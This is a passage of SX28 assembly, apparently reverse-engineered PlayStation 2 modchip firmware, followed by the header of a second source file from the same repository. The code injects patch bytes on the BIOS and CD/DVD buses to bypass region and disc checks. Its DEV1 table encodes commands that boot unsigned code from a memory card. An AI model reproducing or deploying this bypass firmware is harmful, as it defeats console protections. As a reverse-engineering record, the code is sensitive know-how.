z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$9 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC PS1_CONSOLE_PAL_YFIX_SYNC_L1 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 nop mov w,#$30 mov w,IO_BIOS_DATA-w sb z ; 0000 0000 jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 PS1_CONSOLE_PAL_YFIX_SYNC_L2 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp PS1_CONSOLE_PAL_YFIX_SYNC_L2 mov !IO_BIOS_DATA,w ; all IO_BIOS_DATA output. patches start ? PS1_CONSOLE_PAL_YFIX_SYNC_L3 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_CONSOLE_PAL_YFIX_SYNC_L3 page $0200 ; PAGE2 call RUN_BIOS_PATCHES_SRAM decsz VAR_TOFFSET jmp PS1_CONSOLE_PAL_YFIX PS1_CONSOLE_NTSC_YFIX mov w,#$34 mov VAR_DC1,w mov w,#$18 mov VAR_DC3,w mov VAR_TOFFSET,w PS1_CONSOLE_NTSC_YFIX_SYNC snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_CONSOLE_NTSC_YFIX_SYNC mov w,#$fd mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_NTSC_YFIX_SYNC PS1_CONSOLE_NTSC_YFIX_SYNC_L1 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp PS1_CONSOLE_NTSC_YFIX_SYNC_L1 PS1_CONSOLE_NTSC_YFIX_SYNC_L2 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_CONSOLE_NTSC_YFIX_SYNC_L2 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_NTSC_YFIX_SYNC PS1_CONSOLE_NTSC_YFIX_SYNC_L3 sb IO_BIOS_OE ; skip byte next byte / wait for bios OE high jmp PS1_CONSOLE_NTSC_YFIX_SYNC_L3 PS1_CONSOLE_NTSC_YFIX_SYNC_L4 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_CONSOLE_NTSC_YFIX_SYNC_L4 mov w,#$85 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_NTSC_YFIX_SYNC PS1_CONSOLE_NTSC_YFIX_SYNC_L5 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp PS1_CONSOLE_NTSC_YFIX_SYNC_L5 PS1_CONSOLE_NTSC_YFIX_SYNC_L6 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_CONSOLE_NTSC_YFIX_SYNC_L6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_NTSC_YFIX_SYNC PS1_CONSOLE_NTSC_YFIX_SYNC_L7 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp PS1_CONSOLE_NTSC_YFIX_SYNC_L7 PS1_CONSOLE_NTSC_YFIX_SYNC_L8 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_CONSOLE_NTSC_YFIX_SYNC_L8 decsz VAR_DC1 jmp PS1_CONSOLE_NTSC_YFIX_SYNC_L7 mov w,#$3 mov IO_BIOS_DATA,w PS1_CONSOLE_NTSC_YFIX_PATCH_1 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp PS1_CONSOLE_NTSC_YFIX_PATCH_1 mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; all IO_BIOS_DATA output. patches start call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$3c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; all IO_BIOS_DATA Hi-Z input. end patch PS1_CONSOLE_NTSC_YFIX_SYNC2 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp PS1_CONSOLE_NTSC_YFIX_SYNC2 PS1_CONSOLE_NTSC_YFIX_SYNC2_L1 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_CONSOLE_NTSC_YFIX_SYNC2_L1 decsz VAR_DC3 jmp PS1_CONSOLE_NTSC_YFIX_SYNC2 mov w,#$0 mov IO_BIOS_DATA,w PS1_CONSOLE_NTSC_YFIX_PATCH_2 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp PS1_CONSOLE_NTSC_YFIX_PATCH_2 mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; all IO_BIOS_DATA output. patches start call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; all IO_BIOS_DATA Hi-Z input. patch end PS1_CONSOLE_NTSC_YFIX_SYNC3 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp PS1_CONSOLE_NTSC_YFIX_SYNC3 PS1_CONSOLE_NTSC_YFIX_SYNC3_L1 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_CONSOLE_NTSC_YFIX_SYNC3_L1 decsz VAR_TOFFSET jmp PS1_CONSOLE_NTSC_YFIX_SYNC3 mov w,#$88 mov IO_BIOS_DATA,w PS1_CONSOLE_NTSC_YFIX_PATCH_3 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp PS1_CONSOLE_NTSC_YFIX_PATCH_3 mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; all IO_BIOS_DATA output. patches start call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$a4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; all IO_BIOS_DATA Hi-Z input. patch end setb VAR_PATCH_FLAGS.0 page $0000 ; PAGE1 jmp PS1_MODE_START_PATCH org $0600 ; PAGE8 600-7FF ;-------------------------------------------------------------------------------- ;SX28_PAGE8 ;todo sx48 is define ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P8 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P8 ; next byte / wait for bios OE low ret ;-------------------------------------------------------------------------------- BIOS_PATCH_DEV1 ; straight patch flow 0 - 118 ;-------------------------------------------------------------------------------- jmp pc+w retw $8 ; 0 retw $10 ; 1 retw $3c ; 2 retw $72 ; 3 retw $0 ; 4 retw $11 ; 5 retw $36 ; 6 retw $0 ; 7 retw $0 ; 8 retw $92 ; 9 retw $34 ; 10 retw $0 ; 11 retw $0 ; 12 retw $51 ; 13 retw $ae ; 14 retw $c ; 15 retw $0 ; 16 retw $0 ; 17 retw $0 ; 18 retw $3 ; 19 retw $0 ; 20 retw $5 ; 21 retw $24 ; 22 retw $10 ; 23 retw $0 ; 24 retw $4 ; 25 retw $3c ; 26 retw $f0 ; 27 retw $1 ; 28 retw $84 ; 29 retw $34 ; 30 retw $10 ; 31 retw $0 ; 32 retw $6 ; 33 retw $3c ; 34 retw $e4 ; 35 retw $1 ; 36 retw $c6 ; 37 retw $34 ; 38 retw $6 ; 39 retw $0 ; 40 retw $3 ; 41 retw $24 ; 42 retw $c ; 43 retw $0 ; 44 retw $0 ; 45 retw $0 ; 46 retw $fb ; 47 retw $1 ; 48 retw $10 ; 49 retw $0 ; 50 retw $b ; 51 retw $2 ; 52 retw $10 ; 53 retw $0 ; 54 retw $19 ; 55 retw $2 ; 56 retw $10 ; 57 retw $0 ; 58 retw $6d ; 59 retw $6f ; 60 retw $64 ; 61 retw $75 ; 62 retw $6c ; 63 retw $65 ; 64 retw $6c ; 65 retw $6f ; 66 retw $61 ; 67 retw $64 ; 68 retw $0 ; 69 retw $2d ; 70 retw $6d ; 71 retw $20 ; 72 retw $72 ; 73 retw $6f ; 74 retw $6d ; 75 retw $30 ; 76 retw $3a ; 77 retw $53 ; 78 retw $49 ; 79 retw $4f ; 80 retw $32 ; 81 retw $4d ; 82 retw $41 ; 83 retw $4e ; 84 retw $0 ; 85 retw $2d ; 86 retw $6d ; 87 retw $20 ; 88 retw $72 ; 89 retw $6f ; 90 retw $6d ; 91 retw $30 ; 92 retw $3a ; 93 retw $4d ; 94 retw $43 ; 95 retw $4d ; 96 retw $41 ; 97 retw $4e ; 98 retw $0 ; 99 retw $6d ; 100 retw $63 ; 101 retw $30 ; 102 retw $3a ; 103 retw $2f ; 104 retw $42 ; 105 retw $4f ; 106 retw $4f ; 107 retw $54 ; 108 retw $2f ; 109 retw $42 ; 110 retw $4f ; 111 retw $4f ; 112 retw $54 ; 113 retw $2e ; 114 retw $45 ; 115 retw $4c ; 116 retw $46 ; 117 retw $0 ; 118 DEV1_MODE_LOAD_START clrb VAR_PATCH_FLAGS.2 ; VAR_PATCH_FLAGS.2 clrb here related finish mode run ? setb VAR_PATCH_FLAGS.1 setb VAR_PATCH_FLAGS.0 setb VAR_SWITCH.4 mov w,#$77 mov VAR_DC1,w ; VAR_DC1 = 77h = 119 clr w mov VAR_DC3,w ; VAR_DC3 = 0 mov w,#$15 mov fsr,w ; fsr = 15h with fsr starting for SRAM patch caching. start 15h due to 10-14 disabled bank 0 DEV1_MODE_LOAD_LOOP mov w,VAR_DC3 call BIOS_PATCH_DEV1 mov indf,w ; mov value in w from patch data retw to indf which places it in the SRAM memory cache as addressed cycling. inc fsr ; +1 fsr to step up SRAM patch caching mov w,#$10 ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h or fsr,w ; section 6.2.1 fig. 6-1 start at 15h then increase one 0001 0110 or 0001 0000 = 0001 1101 = 16h repeat inc VAR_DC3 ; + 1 VAR_DC3 starting 0 above decsz VAR_DC1 ; jmp DEV1_MODE_LOAD_LOOP till VAR_DC1 = 0 start 119 jmp DEV1_MODE_LOAD_LOOP page $0200 ; PAGE2 jmp CHECK_IF_V1_v2or3_V4_V5to8 ;-------------------------------------------------------------------------------- ;CDDVD_AREA ;-------------------------------------------------------------------------------- MECHACON_WAIT_OE snb IO_CDDVD_OE_A_1Q ; jmp MECHACON_WAIT_OE if ^Q = 1 jmp MECHACON_WAIT_OE ; wait until flipflop ^Q == 0 clrb IO_CDDVD_OE_A_1R ; reset flipflop so Q = 0 (and ^Q = 1) nop ; ... setb IO_CDDVD_OE_A_1R ; reset flipflop so ready for if lower sensed on cp (A) CONSOLE_IO_CDDVD_OE_A decsz VAR_DC1 ; decrement counter and repeat MECHACON_WAIT_OE if not yet zero jmp MECHACON_WAIT_OE ; ... ret ; counter finished: return ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA ; different get sync for where patch is spc/dragon ? ;-------------------------------------------------------------------------------- jmp pc+w ; when called VAR_DC2 is in w so determins start point ; 1 is sent first rb.4-rb.7 then follows to nibble and send 2 to rb.4-rb.7 then flow for 8 bytes ; 1 2 ; G not patched on ps2 v1-v8 due to not connected. but is same overall patch for v1-v12 ea region. ; IHGB IHGB ; Remember b/f swapped final from v9kit sch, H=RW pal support f=tr or but how F=F rstbmp? USA H same as pal? retw $3b ; 0011 1011 ; 0 ; USA start retw $a0 ; 1010 0000 ; 1 retw $33 ; 0011 0011 ; 2 retw $28 ; 0010 1000 ; 3 retw $20 ; 0010 0000 ; 4 retw $ff ; 1111 1111 ; 5 retw $4 ; 0000 0100 ; 6 retw $41 ; 0100 0001 ; 7 ; USA end retw $44 ; 0100 0100 ; 8 ; PAL start retw $fd ; 1111 1101 ; 9 retw $13 ; 0001 0011 ; 10 retw $2b ; 0010 1011 ; 11 retw $61 ; 0110 0001 ; 12 retw $22 ; 0010 0010 ; 13 retw $13 ; 0001 0011 ; 14 retw $31 ; 0011 0001 ; 15 ; PAL end retw $8c ; 1000 1100 ; 16 ; JAP start retw $b0 ; 1011 0000 ; 17 retw $3 ; 0000 0011 ; 18 retw $3a ; 0011 1010 ; 19 retw $31 ; 0011 0001 ; 20 retw $33 ; 0011 0011 ; 21 retw $19 ; 0001 1001 ; 22 retw $91 ; 1001 0001 ; 23 ; JAP end START_CDDVD_PATCH clr fsr setb IO_CDDVD_OE_A_1R mov w,#$30 ;ascii 0 mov w,VAR_BIOS_REV-w snb z jmp V9toV12_CONSOLE_CDDVD_START ; jmp V9toV12_CONSOLE_CDDVD_START if is #$30 = 0 ascii = 2.0 bios v12 mov w,#$37 ;ascii 7 mov w,VAR_BIOS_REV-w snb c ; compare VAR_BIOS_REV #$37 7 jmp V9toV12_CONSOLE_CDDVD_START if is equal 37 or above jmp V9toV12_CONSOLE_CDDVD_START ; jmp V9toV12_CONSOLE_CDDVD_START for v9 1.7 - 1.9 bios V1toV8_CONSOLE_CDDVD_START mov w,#$4 mov VAR_DC1,w V1toV8_AND_BYTE_SYNC1 mov w,#$90 V1toV8_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V1toV8_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS ; The instruction and performs bit-wise AND operation on its operands. mov VAR_PSX_BC_CDDVD_TEMP,w ; w and moved to VAR_PSX_BC_CDDVD_TEMP mov w,#$90 ; 1001 0000 mov w,VAR_PSX_BC_CDDVD_TEMP-w ; when VAR_PSX_BC_CDDVD_TEMP which has been and = 1001 0000 sb z ; VAR_PSX_BC_CDDVD_TEMP and = 1001 0000 skips V1toV8_CONSOLE_CDDVD_START loop meaning on sync jmp V1toV8_CONSOLE_CDDVD_START ; restart sync to start, V1toV8_CONSOLE_CDDVD_START if not on sync. would loop here till gets least one and = 1001 0000 decsz VAR_DC1 ; VAR_DC1 = 4 cycles V1toV8_AND_BYTE_SYNC1 counting down so 4x and = 1001 0000 jmp V1toV8_AND_BYTE_SYNC1 ; jmp V1toV8_AND_BYTE_SYNC1 if VAR_DC1 not 0 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ; jmp when VAR_DC1 = 0 V9toV12_CONSOLE_CDDVD_START mov w,#$f ; only 50k+ run, dragon G patch stack ? mov VAR_DC1,w V9toV12_AND_BYTE_SYNC1 mov w,#$b0 V9toV12_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS ; The instruction and performs bit-wise AND operation on its operands. mov VAR_PSX_BC_CDDVD_TEMP,w ; w and moved to VAR_PSX_BC_CDDVD_TEMP setb IO_CDDVD_OE_A_1R mov w,#$a0 ; 1010 0000 mov w,VAR_PSX_BC_CDDVD_TEMP-w ; when VAR_PSX_BC_CDDVD_TEMP which has been and = 1010 0000 sb z ; VAR_PSX_BC_CDDVD_TEMP and = 1010 0000 skips V9toV12_AND_BYTE_SYNC1 loop1 meaning on sync start jmp V9toV12_AND_BYTE_SYNC1 mov w,#$b0 V9toV12_AND_BYTE_SYNC1_L3 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC1_L3 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ; 1011 0000 mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z ; jmp V9toV12_AND_BYTE_SYNC2 if AND = 1011 0000 jmp V9toV12_AND_BYTE_SYNC2 mov w,#$0 ; 0000 0000 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z ; skip jmp V9toV12_AND_BYTE_SYNC1 if AND = 0 jmp V9toV12_AND_BYTE_SYNC1 V9toV12_AND_BYTE_SYNC2 mov w,#$b0 V9toV12_AND_BYTE_SYNC2_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_CONSOLE_PATCH1_POST mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV12_AND_BYTE_SYNC1 snb VAR_PATCH_FLAGS.2 ; jmp PS2_MODE_RB_IO_SET_SLEEP if VAR_PATCH_FLAGS.2 is set page $0200 ; PAGE2 jmp PS2_MODE_RB_IO_SET_SLEEP call MECHACON_WAIT_OE mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$1f V9toV12_CONSOLE_PATCH1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_CONSOLE_PATCH1 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w ; IO_CDDVD_BUS set output start patching ? setb IO_CDDVD_OE_A_1R mov w,#$5 mov VAR_DC1,w call MECHACON_WAIT_OE mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ; IO_CDDVD_BUS all pins Hi-Z input patching end V9toV12_CONSOLE_PATCH1_POST snb VAR_PATCH_FLAGS.2 ; jmp PS1_MODE_START_PATCH if VAR_PATCH_FLAGS.2 is set page $0000 ; PAGE1 jmp PS1_MODE_START_PATCH ; ALL_CDDVD_PATCH1_GET_SYNC_BIT all consoles run, B I H side ? ALL_CDDVD_PATCH1_GET_SYNC_BIT sb IO_BIOS_CS ; if BIOS CS is active then game is ps1. jmp CDDVD_IS_PS1 snb IO_CDDVD_OE_A_1Q ; jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT if flipflop ^Q == 1 / wait to go low (A) jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ; loop ALL_CDDVD_PATCH1_GET_SYNC_BIT till IO_CDDVD_OE_A_1Q = 0 clrb IO_CDDVD_OE_A_1R ; reset flipflop so ^Q = 1 nop setb IO_CDDVD_OE_A_1R ; set flipflop ready for if lower sensed on cp (A) CONSOLE_IO_CDDVD_OE_A snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST snb VAR_PATCH_FLAGS.2 ; jmp PS2_MODE_RB_IO_SET_SLEEP if VAR_PATCH_FLAGS.2 is set page $0200 ; PAGE2 jmp PS2_MODE_RB_IO_SET_SLEEP mov w,#$90 mov IO_CDDVD_BUS,w mov w,#$6f ALL_CDDVD_PATCH1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w ; IO_CDDVD_BUS set output start patching ? setb IO_CDDVD_OE_A_1R ALL_CDDVD_PATCH1_POST snb IO_CDDVD_OE_A_1Q ; 0 being patched as nothing set ? after this sync jmp ALL_CDDVD_PATCH1_POST clrb IO_CDDVD_OE_A_1R mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ; IO_CDDVD_BUS all pins Hi-Z input patching end setb IO_CDDVD_OE_A_1R snb VAR_PATCH_FLAGS.5 jmp CDDVD_USA snb VAR_PATCH_FLAGS.4 jmp CDDVD_PAL mov w,#$10 ; JAP start 10h = 16 line jmp CDDVD_JAP CDDVD_PAL mov w,#$8 ; PAL start 8h = 8 line jmp CDDVD_JAP CDDVD_USA clr w ; USA start 0h = 0 line CDDVD_JAP mov VAR_DC2,w mov w,#$8 mov VAR_DC3,w ; set line count to run to 8 mov w,#$ff mov IO_CDDVD_BUS,w ALL_CDDVD_PATCH_SYNC2_BIT mov w,#$3 mov VAR_DC1,w ALL_CDDVD_PATCH_SYNC2_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT decsz VAR_DC1 jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 mov w,#$f ; 0000 1111 mov !IO_CDDVD_BUS,w ; set rb.4 (B) rb.5 (G) rb.6 (H) rb.7 (I) output start patching RUN_CDDVD_PATCH mov w,VAR_DC2 ; VAR_DC2 moved into w, used for offset start in patch. how ea way ? call CDDVD_PATCH_DATA RUN_CDDVD_PATCH_NIBBLE snb IO_CDDVD_OE_A_1Q ; jmp RUN_CDDVD_PATCH_NIBBLE if IO_CDDVD_OE_A_1Q 1 jmp RUN_CDDVD_PATCH_NIBBLE mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R mov VAR_PSX_BC_CDDVD_TEMP,w ; IO_CDDVD_BUS moved to VAR_PSX_BC_CDDVD_TEMP mov w,<>VAR_PSX_BC_CDDVD_TEMP ; nibble VAR_PSX_BC_CDDVD_TEMP into w eg turn 0110 1010 into 1010 0110 just eg not actual value ; hex just swap 2x byte digits shortcut f1 = 1f as same 4x bits just order setb IO_CDDVD_OE_A_1R RUN_CDDVD_PATCH_NIBBLE_SEND snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE_SEND mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 ; +1 the VAR_DC2 set for start point for region setb IO_CDDVD_OE_A_1R decsz VAR_DC3 ; set 8 here and counts down till 0 then skip the jmp RUN_CDDVD_PATCH loop. jmp RUN_CDDVD_PATCH CDDVD_PATCH_POST_RB_INPUT snb IO_CDDVD_OE_A_1Q jmp CDDVD_PATCH_POST_RB_INPUT mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ; IO_CDDVD_BUS all pins Hi-Z input patching end snb VAR_PATCH_FLAGS.1 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ; jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT if VAR_PATCH_FLAGS.1 set CDDVD_IS_PS1 clrb VAR_PATCH_FLAGS.1 snb VAR_PATCH_FLAGS.0 page $0200 ; PAGE2 jmp POST_PATCH_4_MODE_START2 page $0400 ; PAGE4 jmp PS1_DETECTED_REBOOT FINISHED_RUN_START page $0000 ; PAGE1 call SET_RB_IO_BUS FINISHED_RUN_START_2 mov w,#$64 ; SLEEP FOR ALL = if no BIOS akt FINISHED_RUN_START_2 = IS_XCDVDMAN mov VAR_TOFFSET,w ; 30-35 sec wait for BIOS FINISHED_RUN_START_L1 mov w,#$ff mov VAR_DC3,w FINISHED_RUN_START_L2 mov w,#$ff mov VAR_DC2,w FINISHED_RUN_START_L3 mov w,#$ff mov VAR_DC1,w FINISHED_RUN_START_L4 sb IO_BIOS_CS ; next byte / wait for bios CE high jmp FINISHED_RUN_START_P2 decsz VAR_DC1 jmp FINISHED_RUN_START_L4 decsz VAR_DC2 jmp FINISHED_RUN_START_L3 decsz VAR_DC3 jmp FINISHED_RUN_START_L2 decsz VAR_TOFFSET jmp FINISHED_RUN_START_L1 page $0200 ; PAGE2 jmp PS2_MODE_RB_IO_SET_SLEEP FINISHED_RUN_START_L5 snb IO_BIOS_CS ; next byte / wait for bios CE LOW = BIOS select jmp FINISHED_RUN_START_L4 FINISHED_RUN_START_P2 mov w,#$43 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_L5 call BIOS_WAIT_OE_LO_P8 ; next byte / wait for bios OE low mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_L5 call BIOS_WAIT_OE_LO_P8 ; next byte / wait for bios OE low mov w,#$74 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_L5 FINISHED_RUN_START_P2_L1 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp FINISHED_RUN_START_P2_L1 mov w,#$d0 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L2 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp FINISHED_RUN_START_P2_L2 FINISHED_RUN_START_P2_L3 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp FINISHED_RUN_START_P2_L3 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L4 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp FINISHED_RUN_START_P2_L4 FINISHED_RUN_END snb IO_BIOS_OE ; next byte / wait for bios OE low jmp FINISHED_RUN_END mov w,#$42 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 mov w,#$34 mov IO_BIOS_DATA,w mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output ? why call BIOS_WAIT_OE_LO_P8 ; next byte / wait for bios OE low mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins Hi-Z input jmp FINISHED_RUN_START_2 end

1nick9/PS2-Magic-ICE-FINAL-REVERSE

107,483

h2oWIP/h2o-orange-F.s

;******************************************************************************** ; h2o-orange-F.hex hash 1ae7402497e2d89b244f91f453765474 ;******************************************************************************** device SX28,TURBO,PROTECT,BOROFF,BANKS8,OSCHS2,OPTIONX ID 'ICEREV' ;DEFINE RSTBUMP EQU 1 ; uncomment for compiling with restbump for ps1mode. else is compiled as f=tr ;note, usa jumper will make issues with f=tr as f is used as jumper to select v14 usa so currently only able to use usa v14 with restbump ;USE ONLY IF F=TR commented out RSTBUMP ;pal v14 dont define any. for jap/usa define only one for 75k this will make f=tr work correctoy also h=rw usa/pal f=tr 75k pal b2f5160bbc0fdfcc5ab2491536481363 ;USAv14 EQU 1 ;uncomment for fixed 75k being usa region. all prior still work any region f=tr 75k usa cc7e43c656422f79fa3472a071021821 ;JAPv14 EQU 1 ;uncomment for fixed 75k being jap region. all prior still work any region f=tr 75k jap fa3fe28833ecb57da793fdb45288994d ;io pin assignments IO_SCEX = ra.2 ; (PSX:SCEx)RA2(S) IO_BIOS_OE = ra.0 ; (R) IO_BIOS_CS = rb.1 ; (W) ; LOW = BIOS select IO_REST = rb.2 ; ; HIGH = 1 NOT PRESSED LOW = 0 = rest down = pressed IO_EJECT = rb.3 ; (PS2:EJECT)RB3(Z) ; LOW = CD IN, HI = CD OUT 